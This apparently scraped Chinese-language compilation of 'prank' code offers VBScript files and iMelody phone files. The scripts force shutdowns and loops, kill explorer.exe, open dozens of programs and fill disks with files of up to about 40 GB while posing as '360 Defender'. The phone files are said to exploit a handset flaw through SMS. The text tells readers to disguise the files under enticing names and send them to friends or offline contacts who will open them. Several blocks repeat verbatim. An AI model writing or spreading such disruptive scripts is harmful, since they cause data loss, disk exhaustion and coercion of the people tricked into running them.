恶搞程序代码

代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。

if

MsgBox("对不起,您灌水太多需要重新启动计算机。"chr(10)"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel

then

msgbox

"

正在清理系统垃圾wow

~_^",,"算你倒霉！！"

Set

objShell

=

CreateObject("Wscript.Shell")

objShell.Run

"shutdown

-s

-t

5",,true

end

if

加分哦

安卓手机整人代码java大全

BEGBEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

COMPOSER:MIK(23)Fomat

BEAT:180

MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff

("+melody+"@9999999999999999999999999)"

手机黑屏代码

BEGIN:IMELODY

BEAT:1200

MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)

END:IMELODY

手机狂震代码

BEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

BEAT:100

MELODY:(ledoffledonbackoffbackonvibeon@0)

END:IMELODY

说明

1 “@”后面的数字越大，重复次数越多

2把上面代码复制，在计算机上保存为.txt文本文件，再改名为 .imy 文件

3 imy 放到手机里的Audio文件夹

4写短信(不是彩信) 写短信时, 插入 *** 对象(自定义 *** 对象，就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞，那么则会产生上述所说效果.

手机qq整人代码大全谁有？ 发一下 谢谢

之一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个 *** 炸弹，在30秒后会自动关机。

下面说一下使用 *** ：

最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

手机 *** 的整人代码大全

之一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个 *** 炸弹，在30秒后会自动关机。

下面说一下使用 *** ：

最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

装逼的手机型号代码大全

iphone 6 和iphone 6+适合学生职员职业女性装逼

威图，三星大器，适合成功人士装逼

手机qq整人代码

之一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个 *** 炸弹，在30秒后会自动关机。

下面说一下使用 *** ：

最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。

还有个更加恶毒的，不在线的 *** 好友你可以向他们发送 *** 离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了

你自己也可以测试一下这个 *** 炸弹的威力。

求一些好玩的整人代码~~

gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)

set s=createobject("wscript.shell")

wscript.sleep 1000

msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"

wscript.sleep 1000

wscript.sleep 1000*100

msgbox "windows发现一重要更新，将自动下载。"

wscript.sleep 3000

msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno

wscript.sleep 1000

msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"

msgbox "是否阻止其安装？",vbyesno

wscript.sleep 3000

msgbox "阻止失败！请检查防火墙是否开启！"

wscript.sleep 5000

msgbox "正在尝试强行删除…"

wscript.sleep 5000

msgbox "失败！"

wscript.sleep 5000

msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"

wscript.sleep 10000

s.sendkeys "% n"

s.run "taskkill /im *** .exe"

s.sendkeys "% n"

s.run "taskkill /im explorer.exe /f"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

msgbox "你好啊！"

wscript.sleep 3000

msgbox "很高兴见到你！"

wscript.sleep 3000

msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"

wscript.sleep 3000

msgbox "我控制你的电脑了！"

wscript.sleep 3000

msgbox "不信？那我给你关机看看~"

s.run "shutdown -r -t 120"

msgbox "信了吧！"

msgbox "帮你解除关机……"

s.run "shutdown -a"

msgbox "再给你打开记事本写封信，劝你更好别动，要不然会引起系统混乱~"

s.run "notepad"

wscript.sleep 3000

s.sendkeys "Hello, I'm sorry I control your computer,"

wscript.sleep 3000

s.sendkeys " but the virus is false in, "

wscript.sleep 3000

s.sendkeys "only a joke, "

wscript.sleep 3000

s.sendkeys "please rest assured! "

wscript.sleep 3000

s.sendkeys "I no longer next "

wscript.sleep 3000

s.sendkeys "time so the whole you!"

wscript.sleep 3000

s.sendkeys" Goodbye!"

s.sendkeys"{enter}"

s.sendkeys"END"

wscript.sleep 1000

s.sendkeys"%{F4}"

msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"

s.run "explorer"

”

有没有一些恶搞别人的vbs代码

自编vbs仅供娱乐！！！

set qstart = wscript.CreateObject("wscript.shell")

set qweb = CreateObject("Wscript.Shell")

set qwrite = CreateObject("scripting.filesystemobject")

set qsay = CreateObject("sapi.spvoice")

qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》

msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"

qstart.run "cmd.exe /c start appwiz.cpl"

qstart.run "cmd.exe /c start bthprops.cpl"

qstart.run "cmd.exe /c start calc.exe"

qstart.run "cmd.exe /c start cleanmgr.exe"

qstart.run "cmd.exe /c start cmd.exe"

qstart.run "cmd.exe /c start colorcpl.exe"

qstart.run "cmd.exe /c start control.exe"

qstart.run "cmd.exe /c start cttune.exe"

qstart.run "cmd.exe /c start desk.cpl"

qstart.run "cmd.exe /c start dfrgui.exe"

qstart.run "cmd.exe /c start dxdiag.exe"

qstart.run "cmd.exe /c start FileHistory.exe"

qstart.run "cmd.exe /c start Firewall.cpl"

qstart.run "cmd.exe /c start Fondue.exe"

qstart.run "cmd.exe /c start fontview.exe"

qstart.run "cmd.exe /c start fsquirt.exe"

qstart.run "cmd.exe /c start hdwwiz.cpl"

qstart.run "cmd.exe /c start inetcpl.cpl"

qstart.run "cmd.exe /c start intl.cpl"

qstart.run "cmd.exe /c start irprops.cpl"

qstart.run "cmd.exe /c start joy.cpl"

qstart.run "cmd.exe /c start LaunchTM.exe"

qstart.run "cmd.exe /c start Magnify.exe"

qstart.run "cmd.exe /c start main.cpl"

qstart.run "cmd.exe /c start mblctr.exe"

qstart.run "cmd.exe /c start mmsys.cpl"

qstart.run "cmd.exe /c start msinfo32.exe"

qstart.run "cmd.exe /c start mspaint.exe"

qstart.run "cmd.exe /c start ncpa.cpl"

qstart.run "cmd.exe /c start notepad.exe"

qstart.run "cmd.exe /c start powercfg.cpl"

qstart.run "cmd.exe /c start RTSnMg64.cpl"

qstart.run "cmd.exe /c start SnippingTool.exe"

qstart.run "cmd.exe /c start sysdm.cpl"

qstart.run "cmd.exe /c start TabletPC.cpl"

qstart.run "cmd.exe /c start telephon.cpl"

qstart.run "cmd.exe /c start timedate.cpl"

qstart.run "cmd.exe /c start write.exe"

qstart.run "cmd.exe /c start wscript.exe"

qstart.run "cmd.exe /c start wscui.cpl"

qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"

qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"

qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"

qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"

qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"

qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"

qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"

wscript.sleep 25000

qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true

qstart.run "cmd.exe /c echo 滚|clip"

A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)

IF A = "是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"

do

qweb.run"https://hao.360.com/"

loop

ELSEIF A = "不是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"

msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true

msgbox "取消关机",vbokonly,"360 Defender"

qstart.run "cmd.exe /c shutdown -a",0,true

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

loop

ELSEIF A = "" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"

msgbox "自己探寻吧",vbokonly,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5",0,true

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd.exe /c shutdown -a",0,true

loop

ELSEIF A = "滚" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "emmmmmmmm",vbokonly,"360 Defender"

set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)

qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)

qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)

qwriteb.close

qwrite.movefile "D:\1.txt","D:\1.vbs"

qstart.run "D:\1.vbs"

ELSE

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"

qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qstart.run "cmd.exe /c shutdown -r -t 5",0,true

END IF